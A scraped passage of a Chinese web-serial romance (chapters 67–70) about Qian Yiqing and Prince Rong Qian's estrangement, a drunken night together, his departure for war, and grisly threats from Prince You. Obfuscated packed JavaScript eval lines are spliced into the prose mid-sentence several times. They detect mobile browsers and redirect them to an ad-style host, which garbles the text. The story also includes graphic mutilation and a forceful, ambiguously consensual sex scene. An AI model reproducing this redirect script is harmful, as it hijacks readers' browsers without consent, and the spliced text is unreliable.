千裔清知道她要说什么,接着她的话说:“更何况你家殿下不讲情面,遭殃的总是你们这些伺候我的对吧?” “奴婢不是这个意思......”绛珠垂下头,声音越来越小,“奴婢不怨您,但奴婢觉得殿下挺好的,不论旁的如何,只要您愿意,殿下肯定听您的......” 这是变着法的为自己姐妹求情呢,虽是意图明显,可有一点绛珠说得没错,做奴婢的不敢怨自己的主子,但敢把这话挂上嘴边,想必心中还是有怨气的。 也不知道陆离怎么样了。 绛珠被禁足,但总算没受什么皮肉之苦,千裔清决定先去看看陆离。 路上问了几个下人,打听到陆离正在给遐方洗澡。 一进马厩果然见到陆离,不过他并不是在洗马,而是清理马厩。好在马厩除了遐方以外只有四五匹马在,不至于太难清理。 绛珠得了命令,上前喊道:“陆离大人。” 陆离转身,一张青一块紫一块的脸赫然在眼前,绛珠的说法毫不夸张。 那张原本干净端正的面孔此刻看起来有点滑稽,有点可怜。 显然陆离也第一时间注意到千裔清,他愣了片刻,低着头走来:“千姑娘来这做什么,小心脏了您的衣裳。” 王府的马厩已然算是干净,牲口味也只是淡淡的,陆离这么说明显只是在催促她离开。 千裔清沉吟,从袖子里拿出带来的药:“给你送药。” 陆离盯着药瓶看了一会,没接,点头谢过:“多谢,不过不用了,王府里有的是金创药。” 千裔清心里也有一些愧疚,尤其是见他神色恹恹的,若说没有怨气是不可能的。 只不过毫无疑问,陆离不会把这些怨气放在容潜身上,会很自然的转移给她。 千裔清无奈地叹一口气,把手收回:“你还要给容潜做几日陪练?” 太阳早就完全冒头,正是天气晴朗的时候, “殿下没说。”陆离看了一眼天色,一脸闷闷的,“千姑娘还是让让吧,待会儿属下还要去把楮知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15069047|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台和长贏阁都打扫一遍。” 千裔清不解:“府上有洒扫的下人,这些事还用得着你做?” 不知道是不是错觉,陆离好像迅速刮了她一眼,却用很正经的语气一板一眼地回答:“殿下昨夜试了属下的功夫觉得属下近期疏于锻炼,所以,殿下让我平日里也多动一动,打扫也是一种锻炼。” 这理由未免太牵强了,习武之人不练基本功不练兵器,打扫房间算什么锻炼!千裔清忍不住皱起眉。 她当下觉得得找容潜说点什么:“容潜呢?” 陆离的嘴唇动了两下,突然惊讶地望向千裔清背后:“他——啊,殿下!” 千裔清跟着他的目光回头,容潜刚走到她们身后,像是刚从外头回来,额前的发被风吹得微乱,但他似乎没察觉到。 更显刻意的是他没有看千裔清一眼,对着陆离问道:“都打扫干净了?” 陆离抿了抿嘴,老实回答:“属下这就去。” 容潜“嗯”了一声,“午时之前打扫完,下午陪本王练练枪法。” 陆离心中叫苦不迭,脸上难看的像是吞了一斤黄连,点点头退下,连回话的力气都失尽。 昨夜是拳脚,今天又练枪法。难以想象,若是今天下午练完,他身上不会一块儿好皮都没了吧! 交代完毕,容潜又当作没看着千裔清一样转身朝院里去,绛珠在身后小声催促她快些过去,有什么话总要解释清楚的,这么一直僵着也不是个事。 千裔清哪会不清楚这个道理,在原地楞了片刻,马上提起裙摆小跑着追上去。 “容潜!” 千裔清跟在身后喊他,前头那人却好像没听见一样一直朝前走着,步伐也没有要慢下来的迹象。 咬了咬牙,提高了音量又喊他几声,容潜终于停下脚步,却没回头。 可算是追上了,千裔清趁机扯上他的衣袖,以防这人又冷不防的先走了。 “你是想为他们求情?”容潜背对着她先发制人。 话是这样说没错,但听他的语气,似乎这会儿并不想听她的求情。 但眼下也没办法,陆离一脸的伤几乎见不得人了,就连绛雪都还在被禁足,月俸也不知扣到了哪一年。 千裔清放轻语气,尽量显得不那么咄咄逼人:“你要是生我的气大可以来罚我,实在无需拿下人撒气,陆离毕竟是你的人,顶着那样的脸出去,似乎也不大合适吧?” 容潜冷冷一笑,丢开袖子上的手缓缓转过身:“你是在求我?” 她几乎没犹豫,认真点了点头:“是。” 容潜歪着头打量她,眼中讥讽之意更浓:“你是不是以为我很喜欢看你求我?” 轻易被读出了心思,千裔清不自然的别开脸,心中却想着难道不是?记得她刚来王府时可不止一次的被刁难。 容潜摇了摇头,向后退一步:“我那样求你你都不肯心软,你太倔了,认定的事从不肯回头,我只是想听你对我服个软,想让你如从前一样对我多几分温声细语,为什么就这么难呢?” 他深吸一口气,不知是不是被风吹的,眼眶有些微红,而后他看着千裔清:“好,既然你想求情,那我问你,你现在是以什么身份求我?” 67. 放手 面对容潜的态度,千裔清此刻实在有点拿不准他想听什么答案。 她没直接回答他的问题,而是退了一步试探:“那,什么样的身份能让你答应?” 像是猜到她会这样说,容潜失望地一笑,俯下身把脸凑近她的耳廓:“那我告诉你......什么身份都没用。” “你——” 容潜歪着头,一副等着看她气急败坏的模样,宛若一个胜利者,眉宇间皆是张扬。 容潜打断她:“我府上的人,我想怎么罚就怎么罚,即便是杀了,与你又有何关系?” “噢......”他想了想,又装作恍然大悟的样子,“原来你也会觉得过意不去,看不出来,你待下人倒是挺好!” 千裔清听得懂他言语里的嘲讽,她原本对这些都不甚在意的,可此时不知道为什么却觉得心里有些酸涩。 她扯了扯嘴角,耷拉着睫毛露出一丝苦笑:“你何必这么咄咄逼人的。” 容潜望着她,神色平静的如同无人泛舟的清湖:“是啊,我说错了,你待其他人也是很好的,除了......” 除了我。 容潜没再说下去,摇了摇头转身离开。 一只葱白鲜嫩的小手自身上拉上他的袖子,指尖因为用力微微发颤,带着强烈的挽留。 容潜垂下眼睛扫了一眼,淡淡道:“放手。” “若要禁足便禁我的足,若要罚俸便罚我的俸,就算你要打我罚我,哪怕按你崇安王的军规处置我,我都毫无怨言。”千裔清看着他的背影,缓缓补了一句,“只要你能消气。” “崇安王”三个字落在容潜耳朵里简直是莫大的讽刺。 他何曾在她面前自称过王爷,何时拿自己崇安王的身份真正胁迫过她。在千裔清面前,他从来都是嘴硬心软的,有时他自己都会觉得可笑,可身后这人似乎永远不明白。 “放手。”收回落在那只柔荑上的目光,再次重复的两个字变得赫然冰冷。 千裔清意外的没听他的,仍是拽着他不放,容潜皱了皱眉,稍一用力便甩开了她。 身后跟着的人立刻紧随上前,这次更是两只手一起用力攀上他搁在身前的小臂。 容潜转过头,千裔清正皱着眉,面色为难地看着他:“你、你不是问过我要不要嫁给你,我——” 天知道她说出这句话做了多大的心理斗争,可惜话只说了一半。 “不要。”容潜面无表情的冷言拒绝。 千裔清手指顿了顿,微微用力蜷缩起,攥皱了他的衣袖。 容潜继续说着:“以前的话就算我没说过,从今往后也不用再提了。” 他的目光落在她的手指上,抬起下巴点了两下,示意道:“自重。” 自重。 从同一个人口中说出的同样两个字,语气腔调却是全然不同。 她这是被看轻了吗...... 也是,她本就不曾被人看重的,从始至终唯有容潜一人而已。 如今连这一人似乎也再没有了。 千裔清觉得喉咙有些紧,好像有很多话要说,却生生卡在那里,吞不下去又吐不出来。 其实她自己也没想明白自己究竟想说什么,但若再不说点什么,她的自尊好像要被全然踩在那人脚底了。 过了许久,她看到自己缓缓松开的手重新回到自己身前,那块衣料被她用力的动作捏出几个小坑,皱皱巴巴的。 千裔清仰起头,神色冷静地看着他:“既然如此,殿下是愿意还我自由了?” 容潜的喉结跟着她的话迅速动了动,脸上仍维持着一贯的神色。 他点点头,简单明了的一个字:“是。” 没有任何歧义,简单到三岁孩子都听得懂这是肯定的回答。 千裔清不在意的笑着,又问:“这么说,我可以随时离开王府了?” 容潜仍是惜字如金的回答:“是。” 回答他的是千裔清极为刻意和作做的施了一礼。 “多谢殿下。”说完,她头也不回的离去。 她的背影离开很远,在曲折的石径尽头,映着阳光一同化作一个光点,再看不见。 陆离缓步来到容潜身后,袖口还卷着,正打算去收拾长贏阁。 他自然也是听着了一些,于是问道:“您真的打算放她离开?” 容潜冷然一笑,这才回身望着陆离:“你觉得本王像是那么好心的人?” 好心不好心的这不好说,但千裔清是他费了好大功夫才找回来的,什么别扭没闹过,怎么能因为一个外人说放手就放手呢? 陆离摇摇头,仍是不明所以:“那您为何要说那些话,若她真的走了怎么办?” “我只是想知道她对我有几分真心罢了。”容潜叹了口气,“陆离,你怪我吗?” 陆离认真想了想,很快回答他:“属下知道殿下是刀子嘴豆腐心,所以属下不怨,也不怪您。” 顶着这样一张伤痕累累的脸说这些话实在是没什么说服力。 “撒谎。”容潜无奈地笑了笑,朝楮知台走。 陆离急忙追上去,一边说道:“真的真的!殿下于我有再造之恩,就算是一命换一命属下也是愿意的,何况殿下又没要了属下的命!” 说实话,陆离这番话说的不算好听,听起来甚至有点别扭。可他到底没正经读过书,脑子里也不记这些东西。 陆离不擅长跟人交涉是公认的事实,然而这番话越是奇怪,却越是真情实感、发自肺腑的。 “再造之恩?”容潜步伐一顿,侧过头问道,“恩情真的有那么重要,可以值得人豁出命?” 他想起祝音,想起官朗州,想起谢子源,这些常被千裔清念着的,挂在口中的名字。 陆离用力点头,道:“值得的。我是个身份低微的粗人,要是连忠义二字都再丢了,那便什么都不剩了。” 这样么...... 容潜眯着眸子想了想,问道:“送皎月公主回去的队伍走到哪了?” 想起皎月公主那档子事,陆离就忍不住为容潜捏一把汗,他犹豫了一下,估算着时间回答:“咱们坤京离绥夏不远,估计不出三日他们就能见着了。” 容潜点头:“嗯,没时间了,今晚我会去趟佑王府。” 他们两个不是水火不相容的吗? 陆离惊讶道:“去佑王府做什么?” 容潜扬起唇角:“去解决还没解决完的事,另外......去借一份人情。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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千裔清蹙眉:“容潜去佑王府陆离没跟着?他是自己去的?” 绛珠回忆了一番:“好像是吧,咱们府上这么多人呢,就算殿下真的带出去几个奴婢也不清楚。” “哦。”她应了一声,自己都没察觉语气中的失落。 绛珠来到烛火前,作势要吹灭:“那……姑娘还要留灯吗?” 千裔清揉了揉眼:“不留了,你也早些睡吧。” 绛珠则是很乖巧的点头答应,灭掉最后一盏灯。 少顷,外殿传来门檐轻启又关上的声音,往日屋外的蟋蟀都喜欢躲在墙下一唱一和,今夜却觉得静悄悄的,有种山雨欲来的感觉,很不安。 带着这种不安,千裔清闭上眼睛。她已经计划好明天就走,总这么拖着倒显得她死皮赖脸不舍得走一样,所以当务之急是要想个去处。 可去哪呢?以她的医术,开个医馆维持生计应该也不是大问题,只是现在的千裔清身无分文,让她问容潜借又觉得拉不下脸。 那……去找祝音? 68. 出征 一晃到了后半夜,千裔清早就招架不住眼皮打架,这会正在半梦半醒之间,像是睡了,耳朵还能听到外界一些响动。 夜里很静,也没有风,房门“吱呀”一声响了,接着被重重关上,来人脚步凌乱,每一步都带着很大动静。 千裔清被这声音吵醒了,翻身起来,撩开床幔缝隙,夜里实在太黑,她只能看到一个模糊的影子靠近这边。 人还未到,酒气先至。 一定是容潜。 果然,不出半刻,窸窸窣窣的声音传来,似是他身上的外袍被随意丢在地上,衣料在地板上发出沉闷的响声,千裔清缩回被子里假装还在睡着。 闭着眼睛,容潜的呼吸声格外清晰,一只微凉的手在她脸上轻轻描摹,拇指在她唇上按了一会儿,突然一声嗤笑。 “醒着?” 这人醉着,黑灯瞎火的还能看出她装睡! 千裔清自知没有掩饰的必要,便睁开眼睛,只是床幔里实在太暗,她仍是什么都看不见。 那容潜是怎么看出来的? 千裔清忍不住好奇,却又不愿意直接问,别扭的咳了一声,似是埋怨他:“被你吵醒了。” 容潜收回手,隔着她一段距离平稳躺下,喃喃道:“你睡着的时候呼吸不是这样的。” 听到这话,千裔清心口一滞,那种闷闷的,上下堵着的感觉似乎又侵袭而来。 她“哦”了一声,微微侧过脸看着眼前的虚无人影:“要不要吃点解酒药?” 身边的容潜似乎是翻了个身,那道声音突然像是远了,背对着她:“不必。” 千裔清“嗯”了一声,空气霎时变的沉默。 容潜没有要和她多聊的意思,也没打算解释自己去佑王府喝酒的事。 想想也对,犯得着跟她解释吗? 千裔清不知道说什么,又被他回来的动静闹的睡意全无。 似乎又过了很久,千裔清小心地伸出手指在他后背戳了一下。 容潜几乎是立刻回应:“怎么?” 原来不止她一个人没睡! 千裔清突然觉得有点愉悦,按捺住后,用一贯平静的语调说道:“哦,不小心碰到你了。” “我离你这么远,你也能碰到我?”身侧床塌凹陷渐渐扩散,转瞬间容潜又翻回身来,声音已经到了她的耳边,沉静如水,“为什么没走?” 他以为她会走的,一进王府大门就先问了她的情况。意外的,家仆说千裔清一下午都没出门,好好的在院里待着。 他不知道自己当时的心情是什么样的,很复杂,又很满足。 千裔清随意找了个借口:“收拾了一下行李,看天色有点晚了,明日再走。” “嗯。” 静默一会儿,他又说道:“你可以不用走的。” 千裔清被这话惊的一愣,怀疑自己是不是听错了,他这是反悔了? 还没等她问出口,容潜的声音柔柔传来:“明天我要出趟远门,或许很久都不会回来。” 他顿了顿:“我知道你只是不想见到我,若我走了,你就不会觉得为难了。” 千裔清想说她没有不想见到他,也没有觉得为难的意思。 但这样说了又好像很奇怪,有种在暗示什么的意思,像是在打自己的脸,很别扭。 于是,许多的解释变成了一声淡淡的“哦”,那句“你要去哪”也总觉得像是多管闲事一般没能问出口。 半晌儿,千裔清还是没忍住,问道:“……你和佑王——” 耳边是容潜冷冷的抽气声,他翻开掌心钳住千裔清的脸颊,将她那还没问完的话生生捏了回去。 而后他翻身覆上,带着浓郁的酒气不耐烦道:“你就非要在这个时候提他么?” 明明是他去佑王府上拜访,怎么好端端的还不让人提了! 千裔清挣扎几下,空出一丝余地勉强能解释:“我的意思是——” 话仍是没说完,带着酒味的舌尖直抵唇齿,毫不犹豫的长驱直入,连反应的时间都没给她留。 强硬的、掠夺的,剥去她的意识和呼吸。 许久,容潜放开她,一片漆黑中,他的拇指准确点在千裔清嘴唇上摩挲着,在她以为这一吻已经结束时再次覆盖而上,比方才更加急切,带着无法抑制的情绪。 分了又合,吻了又吻,时间漫长而又旖旎,千裔清就这么任由他吻着,没推开,也没给他回应,就这么安静地被他压在身下,像个没有思想的木偶。 身上覆着的人逐渐不满于此刻,或许是因为真的醉了,容潜的动作越来越粗鲁,千裔清觉得唇瓣被撕咬的又烫又疼,他的力气很大,牙齿也很用力,千裔清怀疑自己的嘴唇已经被咬破了,这才伸手抵在他肩上,用力别开脸躲避。 只是容潜不肯放开她,一只手锁上千裔清手腕举过头顶并着,另一只手狠狠掰过她的下颌,迫使她直面自己。 吻了许久,容潜终于撤开一丝距离,急促而不稳的呼吸打在她脸上,鼻尖压着她的。他的手指不知什么时候勾上衣襟的系带,询问道:“脱了?” 千裔清有点抗拒:“不是说放我走吗?” 容潜说的理直气壮:“放你走,可我现在想和你做。” 听起来似乎并不矛盾,但其实是很矛盾的。 不容千裔清拒绝,修长的手指熟练地解开她衣裳的系带,轻轻一扯便露出一片雪白。 他又问道:“可以吗?” 可以吗,理智上告诉她这是不合理的,本能却让她不想拒绝。 千裔清错愕的发现自己对接下来的事竟有隐隐期待,她的身体正在被容潜的每一个动作,每一寸温热所吸引。 容潜极快在她唇上啄了一下:“不说话,我就当你同意了。” 像是一个不需言语的约定,千裔清的沉默代表了她的回应,而容潜褪去她衣着的举动更是对她的回应。 一如既往的合拍,一如既往的情浓,只是带着酒意的动作比平时差了许多技巧,也差了许多取悦和附和。 这是一种更趋近于本能的强势索取,偏执到有点不顾对方的感受。 千裔清几次觉得自己承受不了,却还是藏着满腔的愉悦默然承受了。 翌日醒来的感受并不比第一次好很多,大概是他每一寸动作都强硬到了极致,像是带着对最后一次的真挚感情。 异样。 因此, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083750|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千裔清睡醒的时候已经快午时过半,而枕边人也早已不在身边。 她想了想,吩咐下人备好热水,洗去一身的不适感,还在回味昨夜容潜说的那番话。 他说要出远门。 去哪里,去多久,甚至有关佑王的事她都没问出结果,一味的便沉沦在他身下。 但她又说过的,她要走。 推开房门,上下事宜如往常一般有条不紊的进行着,千裔清朝外面走,一眼就看到了那个熟悉的身影。 陆离。 “你怎么在这?”陆离为什么没跟容潜一起走? 像是故意站在这里等她来问一样,陆离恭敬地上前,弯腰行了个礼,是极标准的问候和回复:“殿下今日出远门,所以留我在府上打理琐事。” 千裔清听的有点迷糊:“府上有管事何须你来打理,再说你是容潜的护卫,不是应该陪同他一起出门保护他的安全吗?” 陆离对着她礼貌的笑了笑,态度端庄道:“殿下身边有武将,有精兵,我是帮不上什么忙的。” 听了这话,千裔清很难不把那件事和容潜联系在一起。 千裔清皱紧眉头:“你是说容潜带兵出征绥夏了?今天?” “是!”陆离给了她一个肯定的回答。 不是说还要一段时间吗?况且皎月公主应该刚刚离境,还没到绥夏都城才对。 陆离看着千裔清眉头越皱越紧,一下就猜出她在想什么,便又说道:“千姑娘猜的不错,殿下是去了边境,而且,他是为了你。” “和我有什么关系?”这话莫不是在诓她。 陆离板着一张木头似的脸,一句一句清晰的说:“昨夜殿下已经请命去边境了,因为他去了佑王府上,挖了他的膝骨,您知道的,佑王同皇上是自小长大的兄弟,皇上不会视若无睹,所以他给殿下多加了一道条令——绥夏不除,崇安王死。” 震惊已经不足以用来形容千裔清此刻的心情。她想到昨夜容潜醉醺醺的回来,既说出远门,却带着一种一去不回的感觉同她缠绵整晚。 原来不是错觉,他真的可能回不来了。 陆离的话还没说完:“实话告诉您,送去绥夏的车马里装的根本不是什么补酒,殿下把皎月公主剔骨削肉,生生剐成了碎片悉数泡进酒里,他说这是给绥夏的回礼。” “殿下知道绥夏皇帝若见此景,两国之战就再不可避免了,所以他提前做好了准备,把出征日期提早。” 陆离讽刺地笑了笑:“千姑娘以为殿下是为了谁?” 千裔清被这连番的话惊的暂停思考,好久,她长了张口,有点语无伦次:“我……我说过不必出气……我不在意……” 陆离冷声打断她:“是!姑娘能忍,可殿下心疼您,他怎么能甘心让你受委屈?他为您得罪了绥夏,又得罪了皇上,如今无论去还是不去,他都是死路一条了!可即便这样,殿下还是担心您的安慰,嘱咐我一定要等此事平息再放您离开,他答应过您的,从来都作数!” 看着千裔清如同痴傻了一般,陆离微微蹙眉,终是叹了口气做出最后的劝告:“千姑娘,就算是您要走,也等风声过了再离开吧,莫要辜负殿下的一番好意。” 69. 离开 六月初六,本是天气晴朗、阳光大好的一天。 千裔清起的晚,错过了半日的好天气,错过了容潜动身出城的时间,也错过了最后的告别。 陆离知道她听懂了自己的话,说道:“千姑娘若要出门请一定告知我,不过为了姑娘的安全,还请您尽可能仔忍耐一段时日,佑王诡计多端,恐怕不会这么轻易就算了。” 千裔清默不作声的点点头,转身回去的背影看起来有些失魂落魄。 绛珠正在院里头侍弄花草,见千裔清出去没多久又回来了,样子看起来很是奇怪,便放下手边的东西,随便擦了擦手关心道:“您怎么啦?” 千裔清坐在书桌边上,摇摇头,突然抬起脸问:“你觉得我不识好歹吗?” 绛珠一愣,随即便明白千裔清在说什么。犹豫了一下,小声回答:“是有一点点……” 千裔清苦笑一声,什么有一点点,其实崇安王府所有人心里都是这么想她的吧。 千裔清以前从不觉得自己有什么不识好歹的,她只知道感情之事勉强不得,可今天听了陆离一番话,她竟也怀疑起自己。 好像有什么东西在此刻发酵、变化。 又或许早就变了。 千裔清一直没说话,垂下的睫毛一眨不眨,发呆似的。绛珠以为是自己说的话让她不高兴了,只好往回找补:“奴婢跟着殿下日子久,只知道殿下对您是很用心的,所以……” “我明白。”千裔清没有怪她的意思,只是有点责怪自己罢了。 或许绛珠知道些什么,千裔清转而问道:“你知道容潜要出远门的事吗?” 绛珠先是惊讶,又摇头表示不知:“殿下的事奴婢们哪敢过问,绛雪还在禁足呢,陆离大人也没说解禁的事……” 出兵的阵仗必然不小,瞒也是瞒不住,崇安王府的下人早晚都会知道。而皎月公主还没正式回到绥夏,容潜这么做最多是想占个先发制人的便宜罢了。 可先发制人又能多几分把握? 千裔清很想问他一句,这么做真的值得? - 西行的军马声势浩荡,城门的轮廓几乎已经看不清,只能看到高悬而上的门脸,坤京二字还是新漆的。 马铮回过头,望着前方一身金甲的崇安王和陈开,两个人看起来都心事重重的。 马铮想了想,踢了一脚马腹,跟上看起来比较好搭话的陈开:“大将军,以往咱们出征都是大办宴席,再由朝中百官和几位亲王一同送行的,怎么这次冷冷清清,只来了皇上一个?而且——” 他小心翼翼地偷偷看了一眼前头不远的容潜,压低声音问:“皇上看起来脸色也不好啊,是出了什么事?” 陈将军扫了他一眼,沉着脸轻斥:“不该问的别问,又不是院墙里的娘们儿,老打听这些闲事做什么?” 马铮叹了口气,伤感道:“我也不想问啊,咱们这次的敌人可是绥夏,能不能回来都不一定呢......” 听到这话,容潜挺直着身子,余光扫过不远处的两人,冷声说道:“刚出城就忙着长对方威风,马副将,你这样可不行啊!” “......”耳朵可真灵,马铮想了想,壮着胆子又驾马去了崇安王身边,“崇安王殿下,咱们这次真的有把握能胜吗?” 容潜认真思索了片刻:“不知道。” 从谢子源那边得到的有关绥夏的线索虽是有不少,但谁也不敢说真对上他们就一定有完全把握,不过是把胜算拉高一些,再高一些罢了。 马铮到底是年轻,见崇安王耐着性子回答了自己的问题,便睁着眼又问:“出兵绥夏正是随了皇上多年心愿,怎么属下刚才瞧见皇上的脸色并不好,而且,璟王殿下没来送行倒是正常,怎么连佑王都没见着人呢?” 马铮这番话惊出陈开一身冷汗,心道这小子是真敢问。 正当他打算把马副将喊回来,容潜嘲讽地提了提嘴角,道:“他的腿断了,来不了。” 什么?腿断了? 这么大的事怎么从没听说过! “马副将!”正当马铮还想继续问下去,陈开眼疾嘴快的喊住他,使了个眼色,“咱们这还没出城呢,你还是省点力气,少说点话吧!” 马铮乖乖闭上嘴,调转马头回到陈开身旁,和他并排走:“我还没说呢!陈将军你也是,怎么也看起来蔫了吧唧的,难道不是因为出征的事儿?” 皇上送行时在崇安王耳边说的话,陈开离得近所以听得清清楚楚。 这崇安王对自己的兄弟都敢这么下手,惹的皇上不高兴,回头再不愿支持怎么办?再说他还故意挑衅绥夏人,不敢想象对方知道真相后会如何震怒,如何把怨气尽数发泄在战场上。 谁人不想打胜仗,谁又能确信自己一定不会吃败仗,更何况还是曾经损失武安王的地方,想想都后怕,一桩桩一件件,可怎么开心的起来。 “陈将军?”马铮试探地问。 陈开回过神,大约是自己的脸色太难看了,马铮看起来也很担心的样子。 “算是吧。”陈开说完,又小声补充,“你可别再提佑王的事儿了,管好你自己,不该问的别瞎问!” “哦哦哦。”虽然不知道其中缘由,却不能听出事情严重性,于是他老实地点头答应。 - 这几日过得清净,陆离起初还在担心自己做不好崇安王交待的事,要是千裔清真吵闹着非要离开,他可能会一掌拍晕她,大不了回来再跟容潜谢罪。 然而千裔清出乎意料的没再多问,没闹着要出门,没在府上折腾些事,连自己的小院都鲜少踏出。每次陆离去看,她总是一脸平静的摆弄那些药草,一副淡泊世俗岁月静好的模样。 可她也没问过有关容潜的任何一句话。 陆离抿了抿唇,掉头回去。 王府的大门开了一条缝,接着被很快关上。 长福哭丧着脸往回走,迎面和陆离就撞上了。 像是见了救世主一般,长福面上一喜:“陆离大人您可来了!佑王府又派人来送了!” 陆离皱了皱眉,问道:“又是骨头?” “是啊!”长福说着打了个冷战,“你说这佑王想什么呢?整天送些腿骨啊膝骨的过来咱们府上,到底想干什么啊?” 还能做什么,自然是威胁了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089800|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 佑王知道容潜不在坤京,但碍于容烨还在皇城,他没办法直接派人闯进王府横冲直撞。 “啧!”陆离嫌弃地扫了长福手中的盒子一眼,懒得打开,“丢了吧,以后再有佑王府的人来送,照单全收就是,不必与他们周旋,拿回来咱们自己丢了就是!殿下不在,咱们多一事不如少一事,明白吗?” “小的明白!” 长福握紧手中匣子,准备去找把铁楸,把这破玩意埋的远远的。虽然不知道这骨头的主人是谁,也算是让对方入土为安吧。 “等等!” 清丽的女声在长福正要走时出声喝住,两人一起循声回头,却见来人是千裔清。 她正朝这边走着,停在两人面前:“方才听到你们说起佑王府?”她的视线落在长福手里的盒子,掠过一眼问道,“佑王府送来的?” 长福也不知道该不该照实说,想征询一下陆离的意见,而对方根本没看他。 千裔清的话又不得不答,长福挠了挠头:“是......” 佑王和崇安王闹成现在这个局面,她可不信佑王会那么好心送礼过来,要送也得是些砒霜鹤顶红之类的吧。 “是什么?”千裔清有点好奇,伸手就要去拿来看。 陆离按着匣子把长福向后推了半步,挡在两人之间:“没什么,不是好东西,恐污了您的眼!” 木匣中空落的声响听起来很是熟悉。 千裔清扯扯嘴角,不以为意道:“一头宽一头尖,一面粗糙一面光滑,扁粟状,是髌骨?” 长福惊讶的合不拢嘴,陆离也是微微一怔,露出几分无奈,收回手去,心服口服地说:“到底是神医,连这个都听得出来。” 千裔清笑了笑,眼中露一丝悲凉:“见得多了,自然就了解了,给我看看。” 长福看了看陆离,得到后者颔首同意,这才恭敬地把东西奉上。 千裔清打开,果然是一对髌骨。 她的脸色陡然变得阴沉,冷然问:“哪来的?” 陆离扫了一眼,镇定地解释:“佑王没那么大胆量滥杀无辜,他府里下人众多,而且还豢养了一批打手——这个您应该见识过的,所以,这应该是佑王的人。” 千裔清挑起眼尾,语气中带了些许不快:“下人的命就不是命了?更何况,他真以为这样唬得住我?” 说完,她冷哼一声,反手一抬,掌心里赫然躺着一只黑色的极小墨瓶,接着她用拇指拨开瓶塞,红褐色的瓶塞上还沾了一些透明的液体,闻不出什么味道,浇在骨上,更是没什么反应似的。 而后她将药瓶小心收起来,把盒子扣上,交还给长福:“找个人送去佑王府,告诉他,他若觉得自己府上热闹想讨个清净尽管继续来送,到时候一座空空的佑王府更是没什么可怕的了。” 长福又请示一样望着陆离,陆离不开口,下人们总是不敢去做的,毕竟跟在崇安王身边十多年的人是陆离,而不是这个似乎随时就会离去的姑娘。 陆离点点头:“找个会些拳脚的,送到就走,不用与他们理论。” 得了指示,长福不敢耽搁,立刻就去了。 70. 帝位 直到长福走远了,陆离才问:“方才那是什么?” 他知道那小瓶子里一定是什么药,但具体何用却是不了解,陆离想着依照千裔清的性子不会做无意义的事,定是为了回以佑王的威胁,那么就不会是什么好东西。 千裔清摊了摊手:“师傅给的溶骨水,咱们给佑王省去处理骸骨的时间,他得感谢咱们才是。” 这原本不是什么稀罕的,重云门那里也有的是这些,皆是为了方便处理尸首的作用,千裔清从来没想过自己也能用到这些,既是回礼,也算是警告佑王自己不怕他的威胁,倒是他,小心落得个尸骨无存。 陆离点点头,抱着手臂叹了口气:“唉,也不知道以佑王的脑子能不能听得懂你带去的话。” 千裔清笑了笑,没说话。 陆离侧过头望着她,这么多天,今日却是他第一次和千裔清面对面说话,似乎也是她第一次开口,只是千裔清对容潜仍是只字不提,反倒惹得陆离心中有点沉不住气。 “您是不是不打算走了?”陆离试探地问,期待回应的表情看起来有点呆呆的。 千裔清拢了下头发:“嗯,不走了,我要等他回来。” 陆离的脸上出现一瞬的惊喜,看得出他是真的高兴。 只是还没笑一会,陆离想着,这话说得好像有点模棱两可,莫不是等殿下回来后还是要走? 想到这种可能,陆离又觉得担忧起来,犹豫了下,问道:“那......等殿下回来后呢?” 千裔清狐疑地扫了他一眼,没给他确定的答案,而是反问:“你好像很希望我走?” “没有没有!”陆离连连摇手,生怕自己的话惹得误会似的解释,“我是想问殿下回来后您有什么打算,没有要赶您走的意思!您知道的,殿下也没有那个意思!” 头先是不知道,不过现在她知道了。 容潜一走三日有余,时间就这么过着,比之在山上的日子没什么分别,一样无趣。千裔清的心境却再不复往日,竟觉得时间漫长起来。 三日......才过了三日吗? 陆离看她一直不说话,自顾自发起呆来,伸出手在她眼前晃了几下,探着头道:“我真的没那个意思......” “容潜什么时候回来?” “这......”陆离被这突如其来的问题问的一愣,仔细想想,他好像也没办法确定,便摇头道,“我在军中无职,殿下出征向来不会带着我,所以我也不大清楚。” 是啊,陆离为容潜做的几乎都是暗里的事,遣兵之事不懂也正常。可她记得陆离曾提起过有关璟王的事,再想起容潜对提起璟王的反应,这次离京似乎和璟王多少也有点关系。 